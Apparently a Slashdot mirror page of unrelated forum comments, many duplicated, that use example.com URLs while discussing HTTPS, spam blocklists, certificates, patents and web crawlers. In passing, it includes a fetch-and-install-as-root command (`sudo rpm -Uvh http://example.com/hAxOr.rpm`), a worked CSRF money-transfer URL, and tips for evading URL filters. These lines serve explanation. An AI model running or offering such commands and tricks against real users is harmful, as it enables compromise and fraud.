Slashdot Mirror

It's a problem with sites that start out with http://example.com/ and then transition to https://secure.example.com/.

If I read it right, encrypt it all, turn off http except as a 301 redirect to https and you should be fine. Anyone confirm this?

Course, you still should check the certificate is the one you're expecting.

It's a problem with sites that start out with http://example.com/ and then transition to https://secure.example.com/.

If I read it right, encrypt it all, turn off http except as a 301 redirect to https and you should be fine. Anyone confirm this?

Course, you still should check the certificate is the one you're expecting.

.. Are you suggesting the internet go back to UUCP for e-mail and usenet delivery, and replace URLS http://www.mysite.example.com/ with something like http:///{mysite!isp1!upstream1!sometier1provider} ?

When you post you'll see "Allowed HTML" at the bottom. Use those tags to do things like bold text: [b]TEXT TO BE BOLDED[/b], resulting in TEXT TO BE BOLDED (replace "[" and "]" with less than and greater than signs)

For links: [a href=http://www.example.com]LINK TEXT[/a], resulting in LINK TEXT

-- The Helpful Anonymous Coward (THAC)

You both are making me feel inadequate. I've never figured out how to stop receiving spam.

Best I can think of were:

1. disable relaying
2. get rid of obvious mailing lists (all@acme.com)
3. use block lists (like Spamhaus)

But in practice, my users were still receiving junk mail, and I couldn't seem to do anything.

Any advice?

The list of blacklists I use to reject spam outright:

sbl-xbl.spamhaus.org
list.dsbl.org
bl.csma.biz
cn.ascc.dnsbl.bit.nl
korea.services.net
web.dnsbl.sorbs.net

I've pruned this list to eliminate false-positives, but if you need to receive legitimate mail from China or Korea you'll need to remove those lists.

Next, I use a lot of custom code I've written myself, which is executed by MIMEDefang. I've thrown all kinds of stuff in there.

Finally, I use ClamAV and SpamAssassin (also executed by MIMEDefang). ClamAV can detect certain known phishing scams; unfortunately I had to disable the feature that identifies misdirected links like phroggy.com because it was catching a ton of false-positives (including legitimate mail from BANKS! You'd think they'd know better...). I use a few rules from the SpamAssassin Rules Emporium; you'll have to pick and choose which ones work for you.

Or, if you don't want to do all of that work, there are commercial solutions such as Barracuda's firewall thingie. Or, just use GMail.

Are you for real? Can't tell the difference between Samba (Brazilian music http://example.com/) and Sambo (a children's book from 1899 http://en.wikipedia.org/wiki/Little_Black_Sambo)?

IPv6 also requires a lot of changes, if it didn't, it would be easy to implement.

Just like DNS resolves example.com to 1.2.3.4, it could resolve http://example.com/ to 1.2.3.4:81, the application would ask not only for the IP, but also for port. Now, as I said, some applications would not be able to use this, so you would still need more than one IP, except if you have 100 web servers, they could all share the same IP, while being on separate machines.

For old applications that do not ask for port, the DNS would respond like it does now, but you may have to specify the port manually.

On the other hand, I read somewhere that it is possible to configure a NAT to route between v4 local network and v6 internet. If that is not a lie, I may just have found a way for my old PCs to communicate with the internet after everyone has switched to v6...

So instead of upgrading IP, you merely want to change how DNS and TCP and all networking applications work? Yeah, good luck with that.

How about this:
Upgrade DNS to give out port numbers.
For example: I want to go to http://www.example.com/ the DNS gives the answer 1.2.3.4:80, if I want to go to http://mail.example.com/ DNS gives 1.2.3.4:81, therefore a NAT with port forwarding could work for multiple servers.

Old applications would still use the old ports, however, new ones would automatically get the port number from DNS, and for old ones you wold have to type the port manually.

Yes, there are some applications that have to use whole IP (for example, protocols other than TCP or UDP), but the need for separate IPs can be greatly reduced.

So instead of upgrading IP, you merely want to change how DNS and TCP and all networking applications work? Yeah, good luck with that.

How about this:
Upgrade DNS to give out port numbers.
For example: I want to go to http://www.example.com/ the DNS gives the answer 1.2.3.4:80, if I want to go to http://mail.example.com/ DNS gives 1.2.3.4:81, therefore a NAT with port forwarding could work for multiple servers.

Old applications would still use the old ports, however, new ones would automatically get the port number from DNS, and for old ones you wold have to type the port manually.

Yes, there are some applications that have to use whole IP (for example, protocols other than TCP or UDP), but the need for separate IPs can be greatly reduced.

So what do you say. "Go to ford"? What the hell does that mean. Now they'll start having to say things like "Type ford into your web browser's address bar" Yeah, that's a whole lot easier to say than ford.com.

I think the idea is that they will register the ford tld and use addresses like: www.ford or car.ford etc.

Most people think that www is compulsory: it is omitted from advertising because people will add it anyway. If you have an address like http://example.com/ you have to have a redirect from http://www.example.com/

So what do you say. "Go to ford"? What the hell does that mean. Now they'll start having to say things like "Type ford into your web browser's address bar" Yeah, that's a whole lot easier to say than ford.com.

I think the idea is that they will register the ford tld and use addresses like: www.ford or car.ford etc.

Most people think that www is compulsory: it is omitted from advertising because people will add it anyway. If you have an address like http://example.com/ you have to have a redirect from http://www.example.com/

Step 1: Get IP address of blocked site
Step 2: Enter that IP address

That won't work on the vast majority of sites out there which either use name-based virtual hosting or complicated load balancers, both of which depend on the correct hostname being in the URL.

In the old days, a common trick to get around URL filters was to put a '.' at the end of the TLD as in:

http://www.example.com./

The '.' is the root of the DNS hierarchy. It's optional when specifying an Internet hostname but all software which handles domain names is required to handle it properly. Programmers of early web filters didn't know this so if they put the following URL into their block list:

http://www.example.com/*

Adding the dot meant the URL wouldn't match the entry in the blocklist. All the vendors patched this pretty quickly though and then the next workaround discovered was encoding the domain name as its hex equivalent. Took longer for the vendors to patch that, but they finally did. Most of the web filters out there have had plenty of time to come up to speed on all the workarounds by this point, though.

Step 1: Get IP address of blocked site
Step 2: Enter that IP address

That won't work on the vast majority of sites out there which either use name-based virtual hosting or complicated load balancers, both of which depend on the correct hostname being in the URL.

In the old days, a common trick to get around URL filters was to put a '.' at the end of the TLD as in:

http://www.example.com./

The '.' is the root of the DNS hierarchy. It's optional when specifying an Internet hostname but all software which handles domain names is required to handle it properly. Programmers of early web filters didn't know this so if they put the following URL into their block list:

http://www.example.com/*

Adding the dot meant the URL wouldn't match the entry in the blocklist. All the vendors patched this pretty quickly though and then the next workaround discovered was encoding the domain name as its hex equivalent. Took longer for the vendors to patch that, but they finally did. Most of the web filters out there have had plenty of time to come up to speed on all the workarounds by this point, though.

I can't imagine a way that this would work that would be anything but a total disaster. Since there would (presumably) be no central authority, you have no way of knowing that http://example.com/ is the same http://example.com/ that someone else is looking at. How would you share links? How would a bank advertise its URL? How would domain registrations work? How would SSL certificate registrations be vetted? If you try to distribute the SSL function as well, now you have no idea if https://example.com/ is the same https://example.com/ that someone else is looking at.

The only way I can see this working is if we switched to a non-hierarchical (hierarchy requires an authority at the root) system, using GUIDs or some other mechanism that has some guarantees about uniqueness. But now you have two problems: 1) the label is useless, because you can't remember it or give it out in a TV commercial; and 2) you'd have store all of those labels someplace in a big, flat database.

A need exists for a set of (reasonably) persistent, unique, meaningful identifiers for services on the Internet, and in order to ensure this, you need a central registry.

I can't imagine a way that this would work that would be anything but a total disaster. Since there would (presumably) be no central authority, you have no way of knowing that http://example.com/ is the same http://example.com/ that someone else is looking at. How would you share links? How would a bank advertise its URL? How would domain registrations work? How would SSL certificate registrations be vetted? If you try to distribute the SSL function as well, now you have no idea if https://example.com/ is the same https://example.com/ that someone else is looking at.

The only way I can see this working is if we switched to a non-hierarchical (hierarchy requires an authority at the root) system, using GUIDs or some other mechanism that has some guarantees about uniqueness. But now you have two problems: 1) the label is useless, because you can't remember it or give it out in a TV commercial; and 2) you'd have store all of those labels someplace in a big, flat database.

A need exists for a set of (reasonably) persistent, unique, meaningful identifiers for services on the Internet, and in order to ensure this, you need a central registry.

I can't imagine a way that this would work that would be anything but a total disaster. Since there would (presumably) be no central authority, you have no way of knowing that http://example.com/ is the same http://example.com/ that someone else is looking at. How would you share links? How would a bank advertise its URL? How would domain registrations work? How would SSL certificate registrations be vetted? If you try to distribute the SSL function as well, now you have no idea if https://example.com/ is the same https://example.com/ that someone else is looking at.

The only way I can see this working is if we switched to a non-hierarchical (hierarchy requires an authority at the root) system, using GUIDs or some other mechanism that has some guarantees about uniqueness. But now you have two problems: 1) the label is useless, because you can't remember it or give it out in a TV commercial; and 2) you'd have store all of those labels someplace in a big, flat database.

A need exists for a set of (reasonably) persistent, unique, meaningful identifiers for services on the Internet, and in order to ensure this, you need a central registry.

Also remote storage. Having a bunch of in-progress documents available on Google Apps is very convienient when switching between home, work, and other computers.

Sure, but that same functionality can be duplicated with a simple KIO Slave. Why is it better to start a browser and type http://example.com/editor rather than starting an editor and typing fish://example.com/user? The latter lets you host your files anywhere and they could even be encrypted.

If non-http URL:s are too confusing for the average id^h^huser, it could just be a button called "My remote storage" or something.

Chatting with webmasters often reveals widespread beliefs that might have been accurate in the past, but are not necessarily up-to-date any more. This was the case when we recently talked to a couple of friends about the structure of a URL. One friend was concerned about using dynamic URLs, since (as she told us) "search engines can't cope with these." Another friend thought that dynamic URLs weren't a problem at all for search engines and that these issues were a thing of the past. One even admitted that he never understood the fuss about dynamic URLs in comparison to static URLs. For us, that was the moment we decided to read up on the topic of dynamic and static URLs. First, let's clarify what we're talking about: What is a static URL? A static URL is one that does not change, so it typically does not contain any url parameters. It can look like this: http://www.example.com/archive/january.htm. You can search for static URLs on Google by typing filetype:htm in the search field. Updating these kinds of pages can be time consuming, especially if the amount of information grows quickly, since every single page has to be hard-coded. This is why webmasters who deal with large, frequently updated sites like online shops, forum communities, blogs or content management systems may use dynamic URLs. What is a dynamic URL? If the content of a site is stored in a database and pulled for display on pages on demand, dynamic URLs maybe used. In that case the site serves basically as a template for the content. Usually, a dynamic URL would look something like this: http://code.google.com/p/google-checkout-php-sample-code/issues/detail?id=31. You can spot dynamic URLs by looking for characters like: ? = &. Dynamic URLs have the disadvantage that different URLs can have the same content. So different users might link to URLs with different parameters which have the same content. That's one reason why webmasters sometimes want to rewrite their URLs to static ones. Should I try to make my dynamic URLs look static? Following are some key points you should keep in mind while dealing with dynamic URLs:

1. It's quite hard to correctly create and maintain rewrites that change dynamic URLs to static-looking URLs.
2. It's much safer to serve us the original dynamic URL and let us handle the problem of detecting and avoiding problematic parameters.
3. If you want to rewrite your URL, please remove unnecessary parameters while maintaining a dynamic-looking URL.
4. If you want to serve a static URL instead of a dynamic URL you should create a static equivalent of your content.

Which can Googlebot read better, static or dynamic URLs? We've come across many webmasters who, like our friend, believed that static or static-looking URLs were an advantage for indexing and ranking their sites. This is based on the presumption that search engines have issues with crawling and analyzing URLs that include session IDs or source trackers. However, as a matter of fact, we at Google have made some progress in both areas. While static URLs might have a slight advantage in terms of clickthrough rates because users can easily read the urls, the decision to use database-driven websites does not imply a significant disadvantage in terms of indexing and ranking. Providing search engines with dynamic URLs should be favored over hiding parameters to make them look static. Let's now look at some of the widespread beliefs concerning dynamic URLs and correct some of the assumptions which spook webmasters. :) Myth: "Dynamic URLs cannot be crawled."

C:\> wget http://example.com/blah.iso
C:\> dvdburn blah.iso
C:\>

(Look at the Windows Resource Kit sometime)

Or you could type them like <URL:http://example.com/>, which renders like http://example.com/ and is a standard.

> That is, if I set up a server which returns a redirect for "8972" of
> http://www.cat.example.com/ and "1513" to
> http://www.dog.example.com/ and I send you
> (via US mail) "8972", which you then enter at my site and get
> redirected to the cat site, the patented method has been used.

Are you saying that makeashorterlink.com and tinyurl.com (for example) are infringing on this patent? Holy vague claims, Batman!

> That is, if I set up a server which returns a redirect for "8972" of
> http://www.cat.example.com/ and "1513" to
> http://www.dog.example.com/ and I send you
> (via US mail) "8972", which you then enter at my site and get
> redirected to the cat site, the patented method has been used.

Are you saying that makeashorterlink.com and tinyurl.com (for example) are infringing on this patent? Holy vague claims, Batman!

Clearly, this one got approved via the Patent Office's rule that "If you can't decipher the run-on sentence, approve the patent".

Yeah, I know the patent rules pretty much require run on sentences, but Claim 1 here is ridiculous even given that.

Best I can tell, Claim 1 covers doing a lookup of a code at a remote site and receiving something like a URL back, then following that URL. The code has to have been received before the user connected to the network.

That is, if I set up a server which returns a redirect for "8972" of http://www.cat.example.com/ and "1513" to http://www.dog.example.com/ and I send you (via US mail) "8972", which you then enter at my site and get redirected to the cat site, the patented method has been used.

Clearly, this one got approved via the Patent Office's rule that "If you can't decipher the run-on sentence, approve the patent".

Yeah, I know the patent rules pretty much require run on sentences, but Claim 1 here is ridiculous even given that.

Best I can tell, Claim 1 covers doing a lookup of a code at a remote site and receiving something like a URL back, then following that URL. The code has to have been received before the user connected to the network.

That is, if I set up a server which returns a redirect for "8972" of http://www.cat.example.com/ and "1513" to http://www.dog.example.com/ and I send you (via US mail) "8972", which you then enter at my site and get redirected to the cat site, the patented method has been used.

Presumably the same thing that happens when you host a file with a TLD as an extension. ie: http://www.example.com/path/to/file/foo.com

I figure that can be tried easily enough right now for anyone who has their own domain name. Sadly I don't, but I'd be interested to hear the results from someone who does.

Just "svn cp foo bar" makes a branch of "foo" called "bar". Is that so enormously complicated? I fail to see your point. :)

I guess I was thrown off by the Subversion book:

And now the easier method of creating a branch, which we should have told you about in the first place: svn copy is able to operate directly on two URLs.

$ svn copy http://svn.example.com/repos/calc/trunk \
                      http://svn.example.com/repos/calc/branches/my-calc-branch \
            -m "Creating a private branch of /calc/trunk."

Committed revision 341.

There's really no difference between these two methods. Both procedures create a new directory in revision 341, and the new directory is a copy of /calc/trunk. This is shown in Figure 4.3, âoeRepository with new copyâ. Notice that the second method, however, performs an immediate commit. [7] It's an easier procedure, because it doesn't require you to check out a large mirror of the repository.

At best this just seems really clunky.

Just "svn cp foo bar" makes a branch of "foo" called "bar". Is that so enormously complicated? I fail to see your point. :)

I guess I was thrown off by the Subversion book:

And now the easier method of creating a branch, which we should have told you about in the first place: svn copy is able to operate directly on two URLs.

$ svn copy http://svn.example.com/repos/calc/trunk \
                      http://svn.example.com/repos/calc/branches/my-calc-branch \
            -m "Creating a private branch of /calc/trunk."

Committed revision 341.

There's really no difference between these two methods. Both procedures create a new directory in revision 341, and the new directory is a copy of /calc/trunk. This is shown in Figure 4.3, âoeRepository with new copyâ. Notice that the second method, however, performs an immediate commit. [7] It's an easier procedure, because it doesn't require you to check out a large mirror of the repository.

At best this just seems really clunky.

I knew there would be an answer like this.

I actually administer a whole bunch of Linux systems, most of which authenticate centrally against LDAP but what a lot of Unix people don't know is that Active Directory does a lot more than just user auth.

Amongst other things, it stores a whole bunch of configuration details which member workstations apply.

By and large these are fairly small things like "Outlook is configured to use email.domain.com as the mail server; it's an Exchange server and Outlook should attempt to login with the same credentials that the current user is logged in with", "Internet Explorer uses http://intranet.example.com/ as its homepage", "The following packages are to be installed on the following workstations....".

Judiciously configured, you never need to deal with user questions like "How do I set up email?" or "What's the address of the company intranet?" - and if the answer to questions like that changes, the necessary configuration changes can be carried out centrally.

Most of these aren't a big problem if your company is full of reasonably technically-literate people. However, sooner or later you're likely to want to employ people for whom "understanding how to configure every aspect of a PC" is fairly low in the priorities list.

Or you could have the forms and what not use https://example.com/foo/action and https://example.com/bar/action for your different sites. There is the possibility of a MITM creating a copy of your site with the action pointing to http://evil.invalid/foo/action instead though but maybe these sites are not so important. Alternatively you could simply let everyone know that the site is really at https://example.com/foo/ and the other is at https://example.com/bar/.

Or you could have the forms and what not use https://example.com/foo/action and https://example.com/bar/action for your different sites. There is the possibility of a MITM creating a copy of your site with the action pointing to http://evil.invalid/foo/action instead though but maybe these sites are not so important. Alternatively you could simply let everyone know that the site is really at https://example.com/foo/ and the other is at https://example.com/bar/.

Or you could have the forms and what not use https://example.com/foo/action and https://example.com/bar/action for your different sites. There is the possibility of a MITM creating a copy of your site with the action pointing to http://evil.invalid/foo/action instead though but maybe these sites are not so important. Alternatively you could simply let everyone know that the site is really at https://example.com/foo/ and the other is at https://example.com/bar/.

Or you could have the forms and what not use https://example.com/foo/action and https://example.com/bar/action for your different sites. There is the possibility of a MITM creating a copy of your site with the action pointing to http://evil.invalid/foo/action instead though but maybe these sites are not so important. Alternatively you could simply let everyone know that the site is really at https://example.com/foo/ and the other is at https://example.com/bar/.

Also you need either A) a CNAME (rejig your whole site) or B) hacked DNS resolver (HA! I bet only an eighth of ISP DNS server even handle more than the common records correctly as is).

Basically what is outlined is if you own example.com, you make a web site http://www.example.com/ and then have:

www.example.com. 30 IN CNAME 0000000abcdef.abcdef.example.com.
0000000abcdef.abcdef.example.com. 30 IN A 1.2.3.4

The hex is a key and a tcp port. It would be trivial as you said for the ISP to deliver instead:

www.example.com. 30 IN CNAME 000000011cafe.abcdef.example.com.
000000011cafe.abcdef.example.com. 30 IN A 0.6.6.6

Also I would love to see someone have used already used cafe.f00d.example.com or some such and have it spectacularly break.

I had hosting at provider that did this:

them: http://example.com/
me: http://foo.bar.invalid/

them: https://example.com/
me: https://example.com/bar/foo/

They paid for the example.com cert.

I had hosting at provider that did this:

them: http://example.com/
me: http://foo.bar.invalid/

them: https://example.com/
me: https://example.com/bar/foo/

They paid for the example.com cert.

I had hosting at provider that did this:

them: http://example.com/
me: http://foo.bar.invalid/

them: https://example.com/
me: https://example.com/bar/foo/

They paid for the example.com cert.

I think that you're thinking of CSS or other code injection, not CSRF. CSRF relies on a user being authenticated to another site (a bank, for instance) which allows you to visit a specially crafted URL to perform an action. For example, this URL might transfer money between accounts:
http://mybank.example.com/transfer?amount=3000.00&sourceAcct=00001&destinationAcct=10001 The attacker just needs to get the user to visit that URL in any way, perhaps with a bit of javascript on a malicious site, or with a refresh, or through some trickery which involves action on the user's part. Note that some of these ways merely require that the user visit the bad guy's site. Note also that spam with this URL will be going to the bank site, which means that the user may be off-guard if they're only paying attention to the host part of the URL.

If I'm logged into my bank, and I own acct 00001, I will have transferred 3000 units of currency to account 10001. Using POST makes this harder--it requires a bit of Javascript--but it's may still be possible.

The solution involves tracking user actions and ensuring that the user pressed the button which performs the above action. Generally speaking, this is done using a technique called double-cookie submission--where a token cookie is passed from the server to the client and back on every page along with the user's session information. If the token cookie (which must change with each new page) matches, the site will trust that the user is performing that action.

firefox -no-remote -profile /path/to/empty/directory/or/old/profile http://example.com/

How do you deal with bookmarking? Or is there a single special instance you use? Or just use sites like del.icio.us?

That's a reasonable idea... except that users have learned that "https" is synonymous with the padlock icon. The padlock is different in different browsers (Safari shows it in the corner of the titlebar, for example), and I think users are more likely to look at the URL than the padlock icon. Obviously this could change, if the padlock icon were made more prominent (and consistent across browsers) and users were retrained. In the mean time, most users (who are savvy enough to know anything about encryption at all) won't notice the difference between the real https://www.paypal.com/ (with the padlock icon to show the cert is signed by a trusted CA) and a fake https://www.paypal.com/ (without the padlock icon because it's a phishing site on a free wifi connection with a malicious DNS server).

Of course, none of this prevents a malicious network from redirecting http://www.paypal.com/ to https://www.paypal.com.phishing.example.com/ or other tricks that require the user to be paying less than 100% attention.

If the site uses a self-signed cert and hasn't changed since your last visit, you get no warning in Firefox 3.

Although you are generally accurate, it's still a bit off.

The actual behavior of Firefox is that you are never warned about any trusted root certificate (which is what a self-signed cert that you have trusted becomes) unless it has expired.

So, if you go to https://www.example.com/ and accept their self-signed certificate, then if you go to https://another.example.com/ and it uses the same certificate as the first, you get no message. And, if you go to https://not-really-paypal.com/ and it happens to use the same cert as https://www.example.com/ you get no warning.

So, strictly speaking, you might not get a warning even if the site uses a self-signed cert and that cert has changed since the last time you visited it.

If the site uses a self-signed cert and hasn't changed since your last visit, you get no warning in Firefox 3.

Although you are generally accurate, it's still a bit off.

The actual behavior of Firefox is that you are never warned about any trusted root certificate (which is what a self-signed cert that you have trusted becomes) unless it has expired.

So, if you go to https://www.example.com/ and accept their self-signed certificate, then if you go to https://another.example.com/ and it uses the same certificate as the first, you get no message. And, if you go to https://not-really-paypal.com/ and it happens to use the same cert as https://www.example.com/ you get no warning.

So, strictly speaking, you might not get a warning even if the site uses a self-signed cert and that cert has changed since the last time you visited it.

If the site uses a self-signed cert and hasn't changed since your last visit, you get no warning in Firefox 3.

Although you are generally accurate, it's still a bit off.

The actual behavior of Firefox is that you are never warned about any trusted root certificate (which is what a self-signed cert that you have trusted becomes) unless it has expired.

So, if you go to https://www.example.com/ and accept their self-signed certificate, then if you go to https://another.example.com/ and it uses the same certificate as the first, you get no message. And, if you go to https://not-really-paypal.com/ and it happens to use the same cert as https://www.example.com/ you get no warning.

So, strictly speaking, you might not get a warning even if the site uses a self-signed cert and that cert has changed since the last time you visited it.

> I think many have missed the point entirely. I in NO way advocate
> allowing anyone to run ANY code they want to fling onto my machine.

I mis-interpreted your statement "The web browser needs to transform into a sand-boxed window manager. How is that again? A window manger, huh? The idea sits in front of ALL of you every day. The GUI desktop moves things around, arranges windows, covers them up allows them to be moved, adjusts for sizing, everything we desperately try to implement in CSS and DOM but pretty fail to do."

A window manager displays applications, and when you mentioned "sand-boxed", that fit right in. It appears that you were advocating a major re-write of HTML. A few points...

1) I agree with you that HTML was originally written to emulate static paper. Vint Cerf and co-workers were trying to share documents in read-only mode, and HTML does that quite well, thank you. HTML wass *NOT* written with major interactivity in mind, and that is glaringly obvious. Interactivity hacks on HTML are ugly hacks at best, and open up the end-user to attack (Active-X anyone?).

2) I think that rather than trying to extend HTML into interactivity, we should admit that it wasn't written with interactivity in mind, and trying to make a steamboat fly is a waste of time and resources.

3) The basic problem is that a browser won't accomplish a lot of what people want done. Since one-size-does-not-fit-all, there are multiple solutions to the many-faceted problem...

* a lot of today's form-filling "interactivity" would be done better on a GUI dumb-terminal, or even a VT-100 emulator.

* a lot of remote work could be done by an internet file system by abstracting it to look like another remote drive. Enable regular word-processossers and spreadsheets to...
- open up a document on http://bad.example.com/my_docs/letter_to_aunt_jane.doc
- edit it locally with your word-processor of choice
- save back to the original file

* For "heavy-duty interactivity", I suggest inventing a new RIA "Rich Internet Application" API, assigning it a different port (i.e. not 80), and doing all your first-person-shooter-wannabee stuff on that

* Leave browsers alone to do what browsers do best, i.e display text and images and movies and audio.

All browsers post a warning when a self-signed certificate that is not imported into the local certificate store is used. This is NOT a firefox problem.

You WANT to be warned when you have a self-signed certificate thrown at you. Let's say https://example.com/ has a trusted certificate (trusted meaning the signing CA or the self-signed cert is in the local store). If you get a self-signed warning, then you *know* there is a problem.

http://example.com/Dont go there

Their entire Proof of Concept seems to be:

      1. We asked to be added as a mirror
      2. We succeeded without the distributions doing a cavity search
      3. A11 y0ur L1nux are b3l0ng t0 us!

openSUSE does the following. You are asked to be added as a mirror and they add you. However YaST (or better zypper) will point to http://download.opensuse.org/distribution/11.0/repo/oss/ by default which will then point you to the mirror.
Then they also look if you have the latest version available or not. If not, they will not point to you untill you do.
The reason is that this way they can spread the traffic among the mirrors, so that not everybody is using the same mirror, making the idea of mirrors obsolete. They also test if the mirror is up.

So there is already a big barrier to overcome. Obviously you could still make your own repository like Packman or http://download.nvidia.com/opensuse/11.0 and then see that people point there. This will need some social enginering and can be done, just as you can convice people to type in a code for a ziptfile, unpack it and then run the file inside as admin.

Even easier would be to ask them to do `sudo rpm -Uvh http://example.com/hAxOr.rpm`

I've been wondering what this user agent was. I manage a bunch of sites which dynamically generate pages with URLs like: http://example.com/?page=a/b/c

These pages have relative links to JS files like: src="scripts/common.js"

The stupid parser sees this and tries to scan http://example.com/?page=a/b/c/scripts/common.js which returns a friendly "This page doesn't exist - search for it, go to home page, etc." page. This friendly error page contains, you guessed it, a relative link to a script file. So AVG requests http://example.com/?page=a/b/c/scripts/scripts/common.js and so on until the URL length limit is reached.

This has caused massive traffic spikes on these sites. Hundreds of thousands of extra requests per day. I can't imagine the AVG users like it much either when their DSL connection gets maxed out.

I've been wondering what this user agent was. I manage a bunch of sites which dynamically generate pages with URLs like: http://example.com/?page=a/b/c

These pages have relative links to JS files like: src="scripts/common.js"

The stupid parser sees this and tries to scan http://example.com/?page=a/b/c/scripts/common.js which returns a friendly "This page doesn't exist - search for it, go to home page, etc." page. This friendly error page contains, you guessed it, a relative link to a script file. So AVG requests http://example.com/?page=a/b/c/scripts/scripts/common.js and so on until the URL length limit is reached.

This has caused massive traffic spikes on these sites. Hundreds of thousands of extra requests per day. I can't imagine the AVG users like it much either when their DSL connection gets maxed out.

I've been wondering what this user agent was. I manage a bunch of sites which dynamically generate pages with URLs like: http://example.com/?page=a/b/c

These pages have relative links to JS files like: src="scripts/common.js"

The stupid parser sees this and tries to scan http://example.com/?page=a/b/c/scripts/common.js which returns a friendly "This page doesn't exist - search for it, go to home page, etc." page. This friendly error page contains, you guessed it, a relative link to a script file. So AVG requests http://example.com/?page=a/b/c/scripts/scripts/common.js and so on until the URL length limit is reached.

This has caused massive traffic spikes on these sites. Hundreds of thousands of extra requests per day. I can't imagine the AVG users like it much either when their DSL connection gets maxed out.

One of the reasons for wanting the paths flipped around was that the web address would be displayed in proper hierarchical format, with the highest level on the left. Reading the address from left to right would allow you to descend down the tree in a more natural manner.

With the system in place now, the hierarchy starts with the tld, reading from right to left, and then you have to jump past the tld and start reading the hierarchy from left to right. For example:

http://www.example.com/folder/subfolfer/file.html
The hierarchy is .com -> example -> www -> folder -> subfolder -> file.html

Not the most elegant way, but still the way that we've become used to.